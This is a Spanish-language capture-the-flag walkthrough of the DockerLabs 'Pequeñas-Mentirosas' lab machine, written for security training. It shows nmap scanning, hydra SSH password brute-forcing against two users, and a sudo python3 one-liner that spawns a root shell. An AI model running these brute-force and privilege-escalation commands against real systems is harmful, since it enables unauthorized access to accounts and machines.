> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pequenas-mentirosas.md).
# Pequeñas-Mentirosas
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Pequeñas-Mentirosas** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Extraemos los archivos del comprimido utilizando `7z`:
```bash
7z x pequenas-mentirosas.zip
```
#### **1.3. Ejecución**
Ejecutamos el script de despliegue para levantar la máquina en Docker:
```bash
bash auto_deploy.sh pequenas-mentirosas.tar
```
**Resultado:** La máquina se despliega correctamente con la IP `172.17.0.2`.
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Verificamos que la máquina esté activa usando `ping`:
```bash
ping -c 1 172.17.0.2
```
El valor `TTL=64` indica que el sistema operativo es **Linux**.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo de puertos con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos (del 1 al 65535).
* `-sS`: Escaneo SYN (rápido y sigiloso).
* `--open`: Muestra solo puertos abiertos.
* `--min-rate 5000`: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
* `-vvv`: Salida muy detallada.
* `-n`: Evita la resolución DNS.
* `-Pn`: Trata el host como activo (evita el `ping` previo).
* `-oG allPorts`: Guarda los resultados en formato Grepable.
**Resultados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Obtenemos información detallada de los servicios en los puertos abiertos:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p22,80`: Indica a `nmap` que debe escanear únicamente los puertos **22** y **80**.
* `-sCV`: Detecta qué versiones de servicios están corriendo en los puertos abiertos (`-sV`), y ejecuta una serie de scripts de reconocimiento predefinidos (`-sC`) para obtener más detalles automáticamente.
* `-oN targeted`: Guarda los resultados en un archivo llamado `targeted`, utilizando el formato de salida estándar (igual al que se muestra en la terminal).
**Resultados:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.62.
#### **2.4. Inspección del servicio web**
Accedemos al servicio web desde el navegador: `http://172.17.0.2/`.
**Observación:** La página muestra un posible nombre de usuario (`a`), que podría ser relevante para el acceso SSH.
### **3. Explotación**
#### **3.1. Fuerza bruta al servicio SSH**
Usamos `hydra` para encontrar la contraseña del usuario `a`:
```bash
hydra -l a -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```
**Explicación de los parámetros:**
* `-l a`: Especifica el nombre de usuario.
* `-P /usr/share/wordlists/rockyou.txt`: Usa el diccionario `rockyou.txt` para probar contraseñas.
* `-t 4`: Limita el número de tareas concurrentes a 4 para evitar saturación.
Como podemos comprobar, hemos obtenido las credenciales del usuario.
#### **3.2. Acceso al sistema**
Nos conectamos por SSH con las credenciales obtenidas:
```bash
ssh a@172.17.0.2
```
#### **3.3. Reconocimiento interno**
Listamos los directorios en `/home`:
```bash
ls
```
**Resultado:** Existen dos carpetas: `a` (del usuario actual) y `spencer` (posiblemente de otro usuario).
#### **3.4. Fuerza bruta para el usuario spencer**
Repetimos el proceso para el usuario `spencer`:
```bash
hydra -l spencer -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```
Como podemos comprobar, hemos obtenido las credenciales del usuario.
#### **3.5. Acceso al sistema con el usuario spencer**
Nos conectamos por SSH con las credenciales obtenidas:
```bash
ssh spencer@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Verificación de permisos sudo**
Ejecutamos el comando `sudo -l` para comprobar los privilegios que tenemos con dicho usuario.
**Resultado:** El usuario `spencer` puede ejecutar `/usr/bin/python3` como `root` sin proporcionar contraseña:
```bash
(ALL) NOPASSWD: /usr/bin/python3
```
#### **4.2. Explotación con Python**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/python/) para escalar privilegios:
```bash
sudo python3 -c 'import os; os.system("/bin/sh")'
```
**Explicación:**
* `sudo python3`: Ejecuta Python con privilegios de `root`.
* `import os; os.system("/bin/sh")`: Importa el módulo `os` y lanza una shell (`/bin/sh`) con permisos de `root`.
**Resultado:** Obtenemos una shell como `root`.
